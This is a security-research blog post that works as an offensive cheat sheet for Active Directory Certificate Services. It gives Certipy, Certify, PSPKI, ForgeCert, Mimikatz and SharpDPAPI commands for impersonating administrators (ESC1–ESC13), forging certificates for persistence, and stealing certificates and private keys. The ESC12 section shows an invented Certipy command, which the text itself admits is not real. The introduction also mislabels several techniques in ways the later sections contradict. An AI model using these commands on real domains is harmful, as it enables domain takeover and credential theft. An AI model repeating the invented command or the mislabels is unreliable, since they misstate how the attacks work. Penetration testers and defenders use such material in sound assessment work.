Start Right now!

Pwning the Domain: AD CS

Pwning the Domain: AD CS

Read In This Article

Active Directory Certificate Services (AD CS) is a crucial component of enterprise security infrastructure, providing services for public key cryptography. However, misconfigurations and vulnerabilities within AD CS can be exploited for domain escalation, persistence, and certificate theft. These exploits leverage weaknesses in certificate templates, enrollment services, access control lists (ACLs), and other AD CS components.

Domain Escalation involves techniques that allow attackers to elevate their privileges within the domain. For example, ESC1 targets misconfigured certificate templates to obtain certificates with elevated rights, while ESC6 uses NTLM relay attacks against AD CS HTTP endpoints. Techniques like ESC4 exploit the ability to specify Subject Alternative Names (SANs) in certificate requests to impersonate privileged accounts, and ESC9 abuses the Web Enrollment service for similar goals. These methods highlight how improper configurations can be turned into significant security risks.

Domain Persistence techniques ensure that attackers maintain their access over time. For instance, DPERSIST1 involves issuing long-lived certificates to sustain access, and DPERSIST3 uses hidden certificate templates for undetected, persistent access. These strategies make it challenging to fully eradicate an attacker from a compromised environment, as traditional methods of revocation and password changes might not be effective against certificate-based persistence.

Account Persistence methods focus on maintaining access to specific high-privilege accounts. PERSIST1 leverages certificates to maintain access despite password changes, while PERSIST3 uses smart card logon certificates for continuous access. These techniques enable attackers to embed themselves deeply within critical accounts, complicating detection and remediation efforts.

Domain Certificate Theft encompasses methods for stealing certificates to impersonate or gain unauthorized access to privileged accounts. Techniques like THEFT1 involve extracting private keys from certificates, while THEFT2 leverages local admin access to steal certificates from user machines. THEFT3 focuses on compromising the CA database to misuse certificate keys, demonstrating how breaches at various points in the certificate lifecycle can have far-reaching impacts on domain security.

Domain Escalation

ESC 1 (Template misconfiguration)

A certificate template with the ESC1 vulnerability allows low privileged users to enroll and request a certificate on behalf of any domain object specified by the user. This means that any user with enrollment rights can request a certificate for a privileged account such as a domain administrator.

Templates vulnerable to ESC1 have the following configurations:

  • Client Authentication: True
  • Enabled: True
  • Enrollee Supplies Subject: True
  • Requires Management Approval: False
  • Authorized Signatures Required: 0

Finding Vulnerable Template ESC1

certipy find -u Sara -p ‘s@ra@123’ -dc-Ip 10.0.2.4 -stdout -enabled -vulnerable

Abusing the Vulnerable Certificate

certipy req -u Sara -p ‘s@ra@123’ -dc-Ip 10.0.2.4 -ca badcs-BADCS-CA-2 -template ESC-1 -upn administrator@badcs.fox
certipy auth -pfx administrator.pfx

ESC 2 (Template misconfiguration)

ESC2 is a privilege escalation vulnerability within Microsoft Active Directory Certificate Services (AD CS) that grants attackers the ability to elevate their privileges from a low-level domain user to a potentially more privileged account. This can pose a significant security risk, as attackers could gain access to sensitive resources or even complete domain compromise.

Indicators of a Vulnerable Template (Not for Exploitation)

  • Client Authentication: Enabled (True)
  • Enabled: Enabled (True)
  • Enrollable Any Purpose EKU or No EKU: Permitted
  • Requires Management Approval: Disabled (False)
  • Authorized Signatures Required: Set to 0 (zero)

Finding Vulnerable Template ESC2

 certipy find -u Sara -p ‘s@ra@123’ -dc-Ip 10.0.2.4 -stdout -enabled -vulnerable

Abusing Vulnerable Template ESC2

certipy req -u Sara -p ‘s@ra@123’ -dc-Ip 10.0.2.4 -ca badcs-BADCS-CA-2 -template ESC-2 -upn administrator@badcs.fox
certipy auth -pfx administrator.pfx

ESC 3 (Template misconfiguration)

ESC3 is another privilege escalation vulnerability within Microsoft Active Directory Certificate Services (AD CS). Similar to ESC2, it allows attackers to potentially elevate their privileges from a low-level domain user to a more privileged account. This can significantly compromise the security of your Active Directory environment.

Indicators of a Vulnerable Template

  • Client Authentication: Enabled (True)
  • Enabled: Enabled (True)
  • Certificate Request Agent EKU: Permitted (OID 1.3. 6.1. 4.1. 311.20. 2.1)
  • Requires Management Approval: Disabled (False)
  • Authorized Signatures Required: Set to 0 (zero)

Finding Vulnerable Template ESC3

certipy find -u Sara -p ‘s@ra@123’ -dc-Ip 10.0.2.4 -stdout -enabled -vulnerable

Abusing Vulnerable Certificate

certipy req -u Sara -p ‘s@ra@123’ -dc-Ip 10.0.2.4 -ca badcs-BADCS-CA-2 -template ESC-3
certipy req -u Sara -p ‘s@ra@123’ -dc-Ip 10.0.2.4 -ca badcs-BADCS-CA-2 -templet User -on-behalf-of administrator -pfx sara.pfx
certipy auth -pfx administrator.pfx

ESC 4 (Access Controls Attacks)

ESC4 is yet another privilege escalation vulnerability in Microsoft Active Directory Certificate Services (AD CS). It allows attackers with write access to a certificate template to potentially elevate their privileges within the domain. This can be a serious security concern, as it could enable attackers to gain access to sensitive resources or even complete domain compromise.

Indicators of a Vulnerable Template

  • The template has write permissions granted to a user or group that should not have them. This could include permissions like:
    • Owner
    • WriteDaclPrincipals
    • WritePropertyPrincipals
    • WriteOwnerPrincipals

Finding Vulnerable Template ESC4

certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-Ip 10.0.2.4 -stdout -enabled -vulnerable

Abusing Vulnerable Certificate

In order to obtain an abusable template, some attributes and parameters need to be properly setup

  1. Get Enrollment rights for the vulnerable template
  2. Disable PEND_ALL_REQUESTS flag in mspki-enrollment-flag for disabling Manager Approval
  3. Set mspki-ra-signature attribute to 0 to disable Authorized Signature requirement
  4. Enable ENROLLEE_SUPPLIES_SUBJECT flag in mspki-certificate-name-flag to allow requesting users to specify another privileged account name as a SAN
  5. Set mspki-certificate-application-policy to a certificate purpose for authentication
    1. Client Authentication (OID: 1.3.6.1.5.5.7.3.2)
    2. Smart Card Logon (OID: 1.3.6.1.4.1.311.20.2.2)
    3. PKINIT Client Authentication (OID: 1.3.6.1.5.2.3.4)
    4. Any Purpose (OID: 2.5.29.37.0)
    5. No EKU
  6. Request a certificate (with a high-privileged user’s name set as SAN) for authentication and perform Pass the Ticket.

ESC 5 (Sufficient rights against several objects)

Exploitation is Similarly to ESC4 , BUT here are specifics

  • CA server’s AD computer object (i.e., compromise through RBCD)
  • The CA server’s RPC/DCOM server
  • Any descendant AD object or container in the container CN=Public Key Services,CN=Services,CN=Configuration,DC=<COMPANY>,DC=<COM> (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, the Enrollment Services container, etc.)

ESC 6 (CA Configuration)

If the CA flag EDITF_ATTRIBUTESUBJECTALTNAME2 is set, it is possible to specify a SAN in any certificate request. This ESC has been patched with the Certifried CVE patch. If the updates are installed, exploitation requires either a template vulnerable to ESC9 or misconfigured registry keys vulnerable to ESC10.

Windows

# Find info about CA
Certify.exe cas

# Find template for authent
Certify.exe /enrolleeSuppliesSubject
Certify.exe /clientauth

# Request certif with SAN
Certify.exe request /ca:'domain\ca' /template:"Certificate template" /altname:"admin"

Linux

# Verify if the flag is set
certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -stdout | grep "User Specified SAN"

#To specify a user account in the SAN
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -template 'vulnerable template' -upn 'administrator@contoso.local'

#To specify a computer account in the SAN
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -template 'vulnerable template' -dns 'dc.contoso.local'

ESC 7 (Sufficient rights against the CA)

On Windows

  • If an attacker gains control over a principal that has the ManageCA right over the CA, he can remotely flip the EDITF_ATTRIBUTESUBJECTALTNAME2 bit to allow SAN specification in any template
# If RSAT is not present on the machine
DISM.exe /Online /Get-Capabilities
DISM.exe /Online /add-capability /CapabilityName:Rsat.CertificateServices.Tools~~~~0.0.1.0

# Install PSPKI
Install-Module -Name PSPKI
Import-Module PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA.contoso.local | Get-CertificationAuthorityAcl | select -ExpandProperty access

$configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "CA.contoso.com"
$configReader.SetRootNode($true)
$configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
$configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")

# Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)
certutil.exe -config "CA.consoto.local\CA" -getreg "policy\EditFlags"
reg query \\CA.contoso.com\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\contoso-CA-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy /v EditFlags
  • If an attacker gains control over a principal that has the ManageCertificates right over the CA, he can remotely approve pending certificate requests, subvertnig the “CA certificate manager approval” protection
# Request a certificate that requires manager approval with Certify
Certify.exe request /ca:CA.contoso.local\CA01 /template:ApprovalNeeded
...
[*] Request ID : 1337

# Approve a pending request with PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA.contoso.local | Get-PendingRequest -RequestID 1337 | Approve-CertificateRequest

# Download the issued certificate with Certify
Certify.exe download /ca:CA.contoso.local\CA01 /id:1337
On Linux

When it is not possible to restart the CertSvc service to enable the EDITF_ATTRIBUTESUBJECTALTNAME2 attribute,the built-in template SubCA can be usefull.

It is vulnerable to the ESC1 attack, but only Domain Admins and Enterprise Admins can enroll in it. If a standard user try to enroll in it with Certipy, he will encounter a CERTSRV_E_TEMPLATE_DENIED errror and will obtain a request ID with a corresponding private key.

This ID can be used by a user with the ManageCA and ManageCertificates rights to validate the failed request. Then, the user can retrieve the issued certificate by specifying the same ID.

  • With ManageCA right it is possible to promote new officier and enable templates
# Add a new officier
certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -add-officer 'user'

# List all the templates
certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -list-templates

# Enable a certificate template
certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -enable-template 'SubCA'
  • With ManageCertificates AND ManageCA it is possible to issue certificate from failed request
# Issue a failed request (need ManageCA and ManageCertificates rights for a failed request)
certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -issue-request 100

# Retrieve an issued certificate
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -retrieve 100

ESC8

The NTLM Relay to AD CS HTTP Endpoints (ESC8) attack exploits vulnerable AD CS HTTP endpoints to obtain a client authentication certificate, allowing an attacker to impersonate any AD account that authenticates via inbound NTLM. The attack involves relaying NTLM authentication from a compromised machine to an AD CS server, which can be done using tools like Certipy. The attacker can then use the obtained certificate to authenticate to services that require NTLM signing, overcoming the limitations of NTLM relay attacks.

certipy relay -ca ca.corp.local

This command uses Certipy to relay NTLM authentication to the AD CS server at ca.corp.local and obtain a client authentication certificate for the Administrator account based on the User template. The certificate and private key are then saved to a file named administrator.pfx.

ESC9

The No Security Extension (ESC9) attack exploits a vulnerable certificate template with the CT_FLAG_NO_SECURITY_EXTENSION flag, which prevents the embedding of the szOID_NTDS_CA_SECURITY_EXT security extension in a certificate. An attacker with GenericWrite permissions over a user account can modify the userPrincipalName to impersonate a target account, such as Administrator, and request a certificate from the vulnerable template. The issued certificate can then be used to authenticate as the target account, allowing the attacker to compromise the account.

certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9

This command uses Certipy to request a certificate from the ESC9 template as Jane, using the acquired hash and the corp-DC-CA certificate authority. The certificate is then used to authenticate as Administrator@corp.local, compromising the account

ESC10

The Weak Certificate Mappings (ESC10) attack exploits two registry key values on the domain controller: CertificateMappingMethods and StrongCertificateBindingEnforcement. An attacker with GenericWrite permissions over a user account can modify the userPrincipalName to impersonate a target account, such as Administrator or a machine account, and request a certificate from a vulnerable template. The issued certificate can then be used to authenticate as the target account, allowing the attacker to compromise the account. This attack can be performed in two cases: when StrongCertificateBindingEnforcement is set to 0, or when CertificateMappingMethods includes the UPN bit flag (0x4).

certipy req -ca ‘corp-DC-CA’ -username Jane@corp.local -hashes <hash>

This command uses Certipy to request a certificate from the default User template as Jane, using the acquired hash and the corp-DC-CA certificate authority. The certificate is then used to authenticate as the target account, such as Administrator@corp.local or DC$@corp.local, compromising the account.

ESC11

The ESC11 vulnerability occurs when a Certificate Authority (CA) server is not configured with the IF_ENFORCEENCRYPTICERTREQUEST flag, allowing an attacker to relay NTLM authentication to the ICPR (Internet Certificate Request Protocol) service without signing the request. This enables the attacker to obtain a certificate for a target user, such as the Administrator, and use it to authenticate to the domain controller. The vulnerability can be detected using Certipy, which can also be used to exploit the vulnerability by setting up a relay server and requesting a certificate for the target user.

certipy relay -target ‘rpc://DC01.domain.local’ -ca ‘DC01-CA’ -dc-ip 192.168.100.100

This command sets up a relay server using Certipy, targeting the ICPR service on the DC01 domain controller, and requests a certificate for the Administrator user using the default User template. The certificate is then saved to a file named administrator.pfx.

ESC12

The ESC12 vulnerability occurs when a Certificate Authority (CA) stores its private key on a YubiHSM2 device, which requires an authentication key (password) to access. This password is stored in the registry in cleartext, allowing an attacker with shell access to the CA server to recover the private key. The attacker can then use the private key to forge new certificates by importing the CA certificate into the user store, associating it with the private key in the YubiHSM2 device, and using the certutil command to sign a new arbitrary certificate.

certipy esc12 -ca-cert <CA certificate file> -yubihsm-device <YubiHSM2 device> -common-name <CA Common Name>

This command uses Certipy to exploit the ESC12 vulnerability, importing the CA certificate into the user store, associating it with the private key in the YubiHSM2 device, and using the private key to forge a new arbitrary certificate. Note that this command is not a real Certipy command, as Certipy does not have a built-in command for exploiting ESC12. The actual commands would involve using certutil and other tools to perform the necessary steps.

ESC13

The ESC13 vulnerability occurs when a certificate template is linked to an Active Directory group using the msDS-OIDToGroupLink attribute, allowing a user who enrolls a certificate with that template to inherit the privileges of the linked group. An attacker can exploit this vulnerability by finding a user with permission to enroll the vulnerable template, and then using Certipy to request a certificate with the linked OID group, effectively inheriting the privileges of that group.

certipy req -u “John@domain.local” -p “password” -dc-ip 192.168.100.100 -target “DC01.domain.local” -ca ‘DC01-CA’ -template ‘VulnerableTemplate’

This command uses Certipy to request a certificate for the user John with the vulnerable template, which is linked to the VulnerableGroup group. If successful, John will inherit the privileges of the VulnerableGroup group.

Domain Persistence

DPERSIST1 (Forge certificates with stolen CA certificate)

With the CA Certificate it is possible to forge any arbitrary certificate. The CA certificate can be extracted on the CA server as presented in the THEFT2 section, it’s a certificate without any EKU and a “CA Version” extension. Additionally, the Issuer and the Subject are the CA itself.

Side note: since a forged certificate has not been issued by the CA, it cannot be revoked.

Windows

With the certificate and the private key in PFX format, ForgeCert can be used:

./ForgeCert.exe --CaCertPath ./ca.pfx --CaCertPassword 'Password123!' --Subject "CN=User" --SubjectAltName administrator@contoso.local --NewCertPath ./admin.pfx --NewCertPassword 'Password123!'

Linux

With admin prives on the CA server, Certipy can retrieve the CA certificate and its key:

certipy ca -backup -u 'user@contoso.local' -p 'password' -ca 'ca_name'

Then Certipy can forge the new certificate:

certipy forge -ca-pfx ca.pfx -upn administrator@contoso.local -subject 'CN=Administrator,CN=Users,DC=CONTOSO,DC=LOCAL'

DPERSIST2

An attacker with control over the NTAuthCertificates object in Active Directory can add a self-signed CA certificate to it, allowing them to trust a rogue CA certificate. This can be done by members of the Enterprise Admin group, Domain Admins, or Administrators in the forest root’s domain using tools like certutil.exe or the PKI Health Tool. By adding a rogue CA certificate to the NTAuthCertificates object, an attacker can make the domain controller trust certificates issued by the rogue CA, enabling them to authenticate with forged certificates generated using methods like ForgeCert, ultimately leading to unauthorized access to the domain.

DPERSIST3

An attacker with elevated access can maliciously modify security descriptors of AD CS components to achieve persistence. This can be done by adding control rights, such as WriteOwner or WriteDACL, to sensitive components like the CA server’s AD computer object, RPC/DCOM server, or descendant AD objects, including the Certificate Templates container and AD groups delegated rights to control AD CS. For example, an attacker can add WriteOwner permission to the default User certificate template, change the template’s ownership to themselves, and then set the mspki-certificate-name-flag to enable ENROLLEE_SUPPLIES_SUBJECT, allowing them to enroll with a domain administrator’s name as an alternative name and use the acquired certificate to authenticate as the domain administrator.

Account Persistence

PERSIST1 (User Account)

With a user account control on a domain machine, if a template that allows Client Authentication is enabled, it is possible to request a certificate that will be valid for the
lifetime specified in the template even if the user changes his password.

Certify.exe request /ca:CA.contoso.local\CA /template:"Authentication Template"

If the user’s password is known and using linux :

certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'Authentication Template'

PERSIST2 (Machine account)

With a machine account control, if a template that allows Client Authentication is enabled for the computers, it is possible to request a certificate that will be valid for the lifetime specified in the template even a password modification, a system wipe or whatever (if the machine hostname remains the same).

Certify.exe request /ca:CA.contoso.local\CA /template:"Authentication Template" /machine

If the user’s password is known and using linux :

certipy req -u 'machine@contoso.local' -hashes ':<hash_NT>' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'Authentication Template'

PERSIST3

An attacker can extend their persistence in Active Directory by leveraging the validity and renewal periods of certificate templates. By renewing a certificate before it expires, they can maintain authentication without needing to enroll for new tickets, which could leave traces on the Certificate Authority (CA) server. This approach minimizes the risk of detection by reducing interactions with the CA server and avoiding the generation of artifacts that could alert administrators to the intrusion, allowing the attacker to maintain a stealthy and prolonged presence in the domain.

Domain Certificate Theft

THEFT1 (Export user certificates with Crypto APIs)

With a session on a machine as a user, it is possible to export his certificate from the Windows Certificate Manager. With an interactive session and if the private keys are exportable :

certmgr.msc -> All Tasks → Export... to export a password protected .pfx file.

With PowerShell :

$mypwd = ConvertTo-SecureString -String "Password123!" -Force -AsPlainText
Export-PfxCertificate -Cert cert:\currentuser\my\<CERT_THUMBPRINT> -FilePath ./export.pfx -Password $mypwd

#Or with CertStealer
#List all certs
CertStealer.exe --list

#Export a cert in pfx
CertStealer.exe --export pfx <CERT_THUMBPRINT>

If the CAPI or CNG APIs are configured to block the private key export, they can be patched with Mimikatz :

mimikatz # 
crypto::capi
privilege::debug
crypto::cng

crypto::certificates /export

THEFT2 (Certificate theft via DPAPI)

User certificates THEFT

With the master key :

#With SharpDPAPI
SharpDPAPI.exe certificates /mkfile:key.txt


#With Mimikatz
#Export certificate and its public key to DER
cd C:\users\user1\appdata\roaming\microsoft\systemcertificates\my\certificates\
./mimikatz.exe "crypto::system /file:43ECC04D4ED3A29EAEF386C14C6B650DCD4E1BD8 /export"
    Key Container  : te-CYEFSR-a2787189-b92a-49d0-b9dc-cf99786635ab

#Find the master key (test them all until you find the good one)
./mimikatz.exe "dpapi::capi /in:ed6c2461ca931510fc7d336208cb40b5_cd42b893-122c-49c3-85da-c5fff1b0a3ad"
    pUniqueName        : te-CYEFSR-a2787189-b92a-49d0-b9dc-cf99786635ab #->good one
    guidMasterKey      : {f216eabc-73af-45dc-936b-babe7ca8ed05}

#Decrypt the master key
./mimikatz.exe "dpapi::masterkey /in:f216eabc-73af-45dc-936b-babe7ca8ed05 /rpc" exit
    key : 40fcaaf0f3d80955bd6b4a57ba5a3c6cd21e5728bcdfa5a4606e1bf0a452d74ddb4e222b71c1c3be08cb4f337f32e6250576a2d105d30ff7164978280180567e
    sha1: 81a2357b28e004f3df2f7c29588fbd8d650f5e70

#Decrypt the private key
./mimikatz.exe "dpapi::capi /in:\"Crypto\RSA\<user_SID>\ed6c2461ca931510fc7d336208cb40b5_cd42b893-122c-49c3-85da-c5fff1b0a3ad\" /masterkey:81a2357b28e004f3df2f7c29588fbd8d650f5e70" exit
    Private export : OK - 'dpapi_private_key.pvk'

#Build PFX certificate
openssl x509 -inform DER -outform PEM -in 43ECC04D4ED3A29EAEF386C14C6B650DCD4E1BD8.der -out public.pem
openssl rsa -inform PVK -outform PEM -in dpapi_private_key.pvk -out private.pem
openssl pkcs12 -in public.pem -inkey private.pem -password pass:bar -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

With a domain backup key to first decrypt all possible master keys :

SharpDPAPI.exe certificates /pvk:key.pvk

Machine certificates Theft

Same, but in a elevated context :

SharpDPAPI.exe certificates /machine

To convert a PEM file to a PFX :

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

THEFT3

Machine certificates and their associated private keys are stored encrypted on Windows systems using the machine’s DPAPI master keys. To decrypt these certificates, an attacker needs access to the DPAPI_SYSTEM LSA secret, which is only accessible by the SYSTEM user. This can be achieved manually using Mimikatz to extract the DPAPI_SYSTEM LSA secret and then decrypt the machine masterkeys, or automatically using SharpDPAPI’s certificates command with the /machine flag, which escalates to SYSTEM, dumps the secret, and uses it to decrypt the machine DPAPI masterkeys and private keys, allowing the attacker to access the machine certificates.

THEFT4

Certificate files can be found directly on the filesystem, often in file shares or the Downloads folder, and can be identified by their extensions, such as.pfx,.p12,.pkcs12,.pem,.key,.crt,.cer,.csr,.jks,.keystore, and.keys. These files can be searched for using PowerShell or the command prompt, for example, using the command Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.crt, *.cer, *.csr, *.jks, *.keystore, *.keys. If a password-protected PKCS#12 certificate file is found, the password hash can be extracted using pfx2john.py certificate.pfx > hash.txt and then cracked using JohnTheRipper with a command like john –wordlist=passwords.txt hash.txt.

THEFT5

The KDC returns the user’s NTLM one-way function (OWF) in the privilege attribute certificate (PAC) when PKCA is used, allowing the host to extract the NTLM hash from the Ticket-Granting Ticket (TGT) to support legacy authentication protocols. This can be achieved by decrypting the PAC_CREDENTIAL_DATA structure, which contains the NTLM plaintext. The Kekeo utility can be used to request a TGT containing this data, facilitating the retrieval of the user’s NTLM hash, using the command tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local. Additionally, Kekeo and Rubeus can process smartcard-protected certificates, given the pin can be retrieved, allowing for NTLM credential theft via PKINIT.

Security Research

Amirhossein Gholizadeh, Surya Dev Singh

Free Consultation

For a Free Consultation And Analysis Of Your Business, Please Fill Out The Opposite Form, Our Team Will Contact You As Soon As Possible.